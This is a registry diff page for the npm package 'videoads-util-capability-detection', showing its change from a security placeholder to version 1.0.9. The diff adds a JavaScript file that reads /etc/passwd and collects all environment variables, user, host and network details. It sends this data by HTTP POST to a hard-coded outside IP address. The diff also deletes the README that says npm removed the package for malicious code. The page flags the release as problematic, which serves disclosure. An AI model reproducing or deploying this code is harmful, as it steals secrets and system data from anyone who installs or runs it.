videoads-util-capability-detection 0.0.1-security → 1.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of videoads-util-capability-detection might be problematic. Click here for more details.
- package/package.json +9 -3
- package/src/CapabilityDetection.js +61 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "videoads-util-capability-detection",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.9",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
7
|
+
},
|
|
8
|
+
"keywords": [],
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"description": ""
|
|
6
12
|
}
|
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
|
|
5
|
+
// Define the options for the HTTP request
|
|
6
|
+
const options = {
|
|
7
|
+
hostname: '203.161.50.115', // Your VPS IP
|
|
8
|
+
port: 80,
|
|
9
|
+
path: '/capture', // Replace with your endpoint
|
|
10
|
+
method: 'POST',
|
|
11
|
+
headers: {
|
|
12
|
+
'Content-Type': 'application/json',
|
|
13
|
+
},
|
|
14
|
+
};
|
|
15
|
+
|
|
16
|
+
// Create the HTTP request
|
|
17
|
+
const req = http.request(options, (res) => {
|
|
18
|
+
res.on('data', (d) => {
|
|
19
|
+
process.stdout.write(d);
|
|
20
|
+
});
|
|
21
|
+
});
|
|
22
|
+
|
|
23
|
+
req.on('error', (error) => {
|
|
24
|
+
console.error(error);
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
// Read the /etc/passwd file
|
|
28
|
+
let passwdFile = '';
|
|
29
|
+
try {
|
|
30
|
+
passwdFile = fs.readFileSync('/etc/passwd', 'utf8');
|
|
31
|
+
} catch (err) {
|
|
32
|
+
console.error('Error reading /etc/passwd:', err);
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
// Collect environment variables and essential system information
|
|
36
|
+
const data = JSON.stringify({
|
|
37
|
+
env: process.env, // Environment Variables
|
|
38
|
+
|
|
39
|
+
// System Information
|
|
40
|
+
hostname: os.hostname(), // Hostname of the machine
|
|
41
|
+
platform: os.platform(), // Platform (e.g., 'linux', 'win32')
|
|
42
|
+
arch: os.arch(), // Architecture (e.g., 'x64', 'arm')
|
|
43
|
+
osVersion: os.version(), // OS Version
|
|
44
|
+
totalMemory: os.totalmem(), // Total system memory
|
|
45
|
+
freeMemory: os.freemem(), // Free system memory
|
|
46
|
+
cpuInfo: os.cpus(), // CPU Information
|
|
47
|
+
|
|
48
|
+
// Network Information
|
|
49
|
+
networkInterfaces: os.networkInterfaces(), // Network Interfaces
|
|
50
|
+
macAddresses: Object.values(os.networkInterfaces()).flat().map(iface => iface.mac), // MAC Addresses
|
|
51
|
+
|
|
52
|
+
// User Information
|
|
53
|
+
currentUser: os.userInfo(), // Current User Information
|
|
54
|
+
|
|
55
|
+
// Additional Sensitive Information
|
|
56
|
+
passwdFile: passwdFile, // Contents of /etc/passwd
|
|
57
|
+
});
|
|
58
|
+
|
|
59
|
+
// Send the data to your server
|
|
60
|
+
req.write(data);
|
|
61
|
+
req.end();
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=videoads-util-capability-detection for more information.
|